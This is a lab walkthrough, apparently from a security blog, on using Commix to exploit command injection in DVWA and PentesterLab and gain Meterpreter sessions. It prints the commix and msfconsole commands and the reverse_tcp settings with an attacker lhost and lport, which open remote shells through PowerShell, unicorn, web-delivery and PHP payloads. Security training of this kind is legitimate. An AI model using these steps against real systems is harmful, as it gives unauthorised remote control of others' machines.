Kali Linux, Penetration Testing, Website Hacking

Command Injection to Meterpreter using Commix

Commix is an automated command injection tool. It lets you have a meterpreter session via command injection if the web application is vulnerable to it. It’s pretty efficient and reliable. Commix is widely used by security experts, penetration testers and also web developers in order to find vulnerabilities. In this article, we will learn how to get a meterpreter session using commix. For the detailed guide on commix click here.

Requirements :

  • DVWA (for Windows 10)
  • PentesterLab (for Linux testing)
  • Kali Linux
  • Commix

As you can see in the image below the environment of DVWA is vulnerable to command injection. Submit the local host request from DVWA.

Capture the previously submitted request through BurpSuite by simultaneously turning on the intercept as shown in the image below :

Once the cookies are capture, copy the whole cookie and paste it in a  TXT file. Now, use the following command in order to exploit the vulnerability of Command injection in the DVWA environment :

commix -r /root/Desktop/req.txt

here,

r: refers to the path of request file which will load HTTP.

As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :

Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :

reverse_tcp
set lhost 192.168.1.107
set lport 1234

After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As our DWVA is setup on windows, we will select option 10. Then it will further ask you to choose a particular power shell injection. Choose 1 as of now as we will try other options too.

When everything is done, it will give a resource file with the execution command. Open a new terminal window and type the command there, as in our case it generated the following command :

msfconsole -r /usr/share/commix/powershell_attack.rc

As the above command is executed, you will directly have your meterpreter session as shown in the image above.

Now, repeat the above steps as they are but instead of choosing 1 option of power shell injection to choose 2 this time as it will help us get meterpreter session through magic unicorn. After choosing option 2, it will again generate a resource file that is to be executed in the new terminal window. In our case the following command was generated :

msfconsole -r /usr/share/magic-unicorn/unicorn.rc

Again, when the command is executing you will have your meterpreter session as shown in the image below :

All the above meterpreter session were taken using option 10 under the category of the meterpreter reverse shell. But this time we will use option 11, which is web delivery, to have a meterpreter session. So, repeat the same steps as above but this time choose 11 option when asked for which meterpreter reverse shell you want.

Then once you have chosen option 11, it will ask whether you want web delivery script for PHP, Python or windows. Now, as we are attacking windows select option 3.

Once again, it will give you a resource file and a command that is to be run in the new terminal window. In our case, the following command was generated :

msfconsole -r /usr/share/commix/web_delivery.rc

 As the command is executed, you will have your meterpreter session as shown in the image below :

Until now, all the meterpreter session we took were in the Window’s environment. Now, will be gain meterpreter session in Linux’s environment. For this, we will use PentesterLab.

Just like we did for windows, capture the cookies of pentesterlab in burp suite as shown in the image below :

Copy the contents of the cookies in a TXT file and use the following command to attack :

commix -r /root/Desktop/1.txt

As the exploitation is successful, it will ask you if you want to load the pseudo terminal or not. Type ‘y’ for the pseudo terminal and it will be loaded. Use the command ‘whoami’ to check the user as shown in the image :

Now that you are in the pseudo terminal, type the following set of command in order to generate reverse shell :

reverse_tcp
set lhost 192.168.1.107
set lport 1234

After executing the above commands, it will ask you if you want to have a netcat shell or other (meterpreter) shell. So, press 2 for the meterpreter one. Then it will ask you which meterpreter session you want as in whether you want it to be PHP, Windows, etc. As we are now testing on Linux, we will select option 8 i.e. a PHP meterpreter reverse shell.

Just like before, this too will generate a resource file which you have to execute in a new terminal window. In our case, the command generated was :

msfconsole -r /usr/share/commix/php_meterpreter.rc

 As the above command is executed, you will have your session as shown in the image below :

The other method we will use to exploit Linux is by using web delivery. Repeat the above steps similarly, but instead of choosing option 8, this time choose option 11 for web delivery. And then choose option 2 for a PHP reverse shell.

Executing the above steps will create a resource file yet again. Run the command given in the new terminal window :

msfconsole -r /usr/share/commix/web_delivery.rc

Running the above command will give you your session as shown in the above image. This is how you can gain a meterpreter session through command injection vulnerability using commix. The session can be acquired in both Windows and Linux platforms.

AuthorYashika Dhir is a passionate Researcher and Technical Writer at Hacking Articles. She is a hacking enthusiast. contact here